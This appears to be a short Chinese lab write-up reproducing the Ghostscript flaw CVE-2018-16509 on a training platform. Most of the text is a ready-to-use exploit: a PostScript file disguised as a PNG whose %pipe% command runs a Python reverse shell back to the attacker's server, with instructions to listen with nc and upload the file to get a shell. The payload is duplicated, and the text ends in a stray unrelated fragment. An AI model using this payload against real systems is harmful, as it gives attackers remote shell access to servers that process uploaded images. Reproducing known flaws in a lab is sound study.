vps上nc监听创建1.png内容如下%!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: -0 -0 100 100 userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%python -c import os,socket,subprocess;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((你服务器的ip,12345));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);) currentdevice putdeviceprops注意修改里面的ip地址然后上传这个png文件就getshell了。
春秋云镜CVE-2018-16509漏洞复现
发布时间：2026/6/13 7:47:53
vps上nc监听创建1.png内容如下%!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: -0 -0 100 100 userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%python -c import os,socket,subprocess;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((你服务器的ip,12345));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);) currentdevice putdeviceprops注意修改里面的ip地址然后上传这个png文件就getshell了。
的演进与通信机制)
